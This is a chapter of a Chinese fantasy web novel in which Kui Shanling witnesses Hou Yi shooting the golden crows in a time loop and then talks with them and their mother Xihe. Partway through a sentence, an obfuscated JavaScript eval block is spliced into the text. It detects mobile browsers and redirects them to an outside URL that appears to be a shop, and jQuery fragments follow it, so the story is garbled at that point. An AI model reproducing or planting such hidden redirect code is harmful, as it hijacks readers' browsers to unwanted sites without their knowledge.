夔山灵捂住手里金乌,快步走到树旁,木制的箭横穿金乌的心脏,整个箭头钉进树干,金乌串在上面,嘴巴微张,眼睛半天动一下。
“走!”夔山灵手上的金乌着急啄了一下她的手,“树干后面有个小洞,你躲在里面,后羿发现不了你。”
木箭接二连三从远方飞来,每一箭都精准穿过金乌的心脏,把祂钉在树上。
血液从箭上留下,滴在土地上形成一个小坑。
夔山灵没有躲起来,她护住手下的金乌,尝试用匕首打断飞来的木箭,,毫无用处,当匕首快砍上木箭时,木箭会自动转移方向。
夔山灵只来得及挥动一次攻击,木箭已经把剩下的金乌全部射死,只留夔山灵手上金乌。
“你快去树后面。”金乌扑腾着翅膀,语速越来越快,“你身上没有任何天赋母亲也会和后羿周旋等这次结束我们再帮你解开天赋……”
话音未落,一只箭破空而来,刺死最后一只金乌。
而夔山灵视野里也出现一位从没见过的男人。
他身披黄色的皮毛,袒露着胸脯,左手中握着一把弓箭,右手从背后抽出新箭,瞄准夔山灵。
“等等,没必要杀她。”羲和及时赶来,祂看到树下一片死寂,眼底闪过一丝悲痛,无论见过多少次祂都接受不了。
“她身上什么都没有。”男人动作没有一丝停顿,拉满弓蓄势待发,“你连最基本的东西都分不清了吗?”
伴着男人讽刺的话,木箭破开空气,直冲夔山灵眉心。
羲和暗道不好,瞬移到夔山灵面前。
扑哧一声,箭从羲和的右眼透过头颅。
夔山灵看到一头秀发里凭空出现一个金属的箭簇,上面还挂着一丝血液。
她面前的身体缓缓倒下,露出面无表情的男人。
男人讽刺般笑了下,“小姑娘,你是怎么哄骗它的,对我再做一边。”
弯弓射箭,对于男人来说,这件事祂已经做了无数遍。
夔山灵根本来不及躲,在羲和还未倒下时,男人已经搭上箭,两只箭间隔不超过十秒钟。
箭即将刺入眼睛的时候,夔山灵听到男人说,“我们下次见,下次我会先解决你,蛊惑人心的小姑娘。”
……
“哇啊,她不会被吓到了吧,我都提醒她了,好倔。”
“我看未必,她就是找死,看她的样子明显不知道循坏,还不躲,我们能活她可活不了。”
模模糊糊间,夔山灵听到金乌们叽叽喳喳说话,祂们没死吗……夔山灵恍惚想,她想睁开眼,却看到眼前一片黑暗。
“她好像醒了。”金乌挪开身子,露出夔山灵无语的眼睛。
“尝尝这个,你应该都记得的吧,”另一只金乌扒拉开夔山灵的嘴巴,往她嘴里塞了一个果子。
“都还活着……”夔山灵揉着太阳穴坐起来,脸上的金乌顺着滑到她腰上,不远处羲和卧倒在扶桑横出的树干上,眼睛微闭,正在睡眠中。
“母亲在睡觉,一时半会醒不过来。”金乌大大咧咧跳到她肩膀上。
“你真不是研究所的人啊。”金乌们稀奇地在她身上跳来跳去,祂们已经太久没和正常人说话了,之前只能死前看看外面的世界,但也只是模模糊糊,只能看出来外面变化很大,在仔细就分辨不出来了。
“外面现在怎么样啦。”
“好不好玩好不好玩……”
“没有太阳你们会怀念我们吗?”一只金乌挤开乱跳只知道玩乐的兄弟,故作深沉问。
“你们在书上怎么记的,有把我们的道歉记上吗?”
“停停停……”夔山灵拍打下身上残留的落叶,这群金乌又给她盖上了,耐心回答每一个问题,“外面有太阳,外面没有山海经的记载,我们都不知道有废墟的存在。”
“……”
“……”
“……一个都没有吗?”金乌眼里涌出泪水,“也没有记载父亲和母亲吗?”
得到夔山灵肯定回复后,祂们也不跳了,萎靡缩在扶桑下,挤在一起默默掉泪。
其中有几个愧疚心大发,嘴里嘟囔向父亲母亲道歉。
而祂们呆的地方正是最后血留下来凝成血洼的地方。
夔山灵有点受不了,她搂起所有的金乌,把祂们安稳放到之前她躺的草堆里,这也是金乌们为她造的,挨个擦去金乌的泪水,哄着祂们,“外面变化太大了,我们之前连山海经都不知道,不是你们的问题。”
金乌们还是垂头丧气。
“大灾变后我们忘记了很多东西,”夔山灵接着哄,“所有旧人类的历史我们全部忘记了,现在的历史是从新世界1年开始记起。”
“……喂,”金乌们勉强受到一点安慰,一个最大,看起来最沉稳的金乌探究地问夔山灵,“你为什么哄我们?我们之前还吐火烧你。”
“你当时快死了,要不是你手里突然出现九尾狐的匕首,你现在灰都不剩了。”金乌指出。
夔山灵愣住,她发现心里没有对金乌有半点怨恨之情,甚至在看到祂们的死状后心里还抱有一丝心疼。
之前还能用九尾狐的祝福说服自己,可现在早已离开青丘,离青丘十万八千里。
“我不知道,”夔山灵面无表情说,她歪头猜测,“可能是羲和为我挡了一刀?”
“……需不需要我烧烧你?”金乌问,说完就发现歧义,它连忙补充,“轻轻地烧,把你身上可能存在的邪祟全部烧掉。”
“……我是人,人遇到火会变成灰。”夔山灵婉拒。
估计金乌刚吐出火星子,她就可以下葬了。
“时间到了,我们该走了。”金乌突然急急忙忙说,“到点了我们该排队出去了。”
金乌们嘴上抱怨着,身体老老实实按年龄排成一个长队,走到扶桑边上。
“不要出去。”
“我还没缓过来,好痛。”
“不喜欢。”
“等等,你们要干什么去?”夔山灵急忙拦住祂们,她还要好多东西没问,祂们不会还要出去玩吧,不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550354|204158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再碰到后羿吗?
“显而易见,我们要出去‘玩’。”打头的金乌撇撇嘴,祂不愿意出去,“我们十个太阳受够了千篇一律的生活,打算要趁母亲睡觉偷偷溜出去,去人间找找乐子。”
“然后被后羿制裁。”金乌长叹一声。
“最后只剩下一只半死不死的金乌。”金乌异口同声。
“走了,下个循坏再聊啊。”金乌潇洒拍拍夔山灵的脚趾,一个接一个准备出去。
夔山灵则小跑到羲和面前,拍拍祂的肩膀。
“母亲才不会醒,现在不是它醒来的时间。”金乌恹恹提醒,虽然不知道上一次母亲会提前醒,但左右不过是个意外,哪能每次都会醒。
要是早醒来祂们也不用出去,再受一次穿心之苦了。
“你们要干什么去?”
一声清冽声音传来,金乌们都猛地抬头。
羲和撑着夔山灵的手,从树上走下来,祂眼里带着泪水,随手抓住最近的金乌,狠狠拔下祂的尾毛。
金乌们震惊惊喜的表情瞬间消失,剩下几个抱团,试图从兄弟的身上汲取力量。
被抓住的金乌,愣在手上,迟半拍惨叫出声。
夔山灵揣手老神在在站在一旁,她就知道当妈一般都睡不死,谁知道自家熊孩子什么时候就跑出去捣乱。
观礼完羲和对金乌天崩地裂的爱和欣赏金乌高昂的惨叫声后,夔山灵被羲和恭恭敬敬请到扶桑树下的座位上。
一旁的金乌捂住屁股躲在树后面不肯见人,毕竟半个屁股都漏在外面,是只爱美的鸟都受不了。
“您的大恩大德,在下难以回报,”羲和掏出自己珍藏的茶叶,往里面放入薄荷姜枣以及葱蒜,最后在顶端浇上一层米膏,撒上一层白盐,恭敬放在夔山灵面前,“您尝尝这个茶,里面加了丹木等食材,都是人类爱吃的东西。”
夔山灵捧在这一碗“粥”,不知道从何下嘴,几次尝试后,她决定转移话题,“我帮到你什么了吗?因为把你叫起来?”
“没错……”羲和长叹一声,捧起杯子吃了一口,“当年我过于疲惫,在树下小憩,结果这些孩子顽皮,私自结伴跑出扶桑。天上十个太阳同时出现,人间生灵涂炭,恰好山下后羿有大能,射死九个太阳,只留下一个,人间得以安定。”
羲和流下眼泪,是她不好,没有看好祂们,后羿射日本是行救世之道,任谁都说不出错,祂也就认了,可为什么让祂的孩子一遍又一遍承受穿心之痛,祂们的惩罚在祂们死时就已经结束了。
“这么多年,您是第一个把我叫醒的人,”羲和惆怅说,“偶尔会有实验所的人来,但无一例外都是在小九死后出现,这也是我没有第一时间认出您的来历。”
“实验所为什么会进来?”夔山灵已经多次听到研究所的名号,如果说九尾狐是被研究所抓去当小白鼠,那羲和祂们又是因为什么,这整个故事中没有他们参与的地方。
“呵呵,我儿本是安稳履行祂的职责,是他们引诱我儿外出游玩。”羲和咬牙切齿说。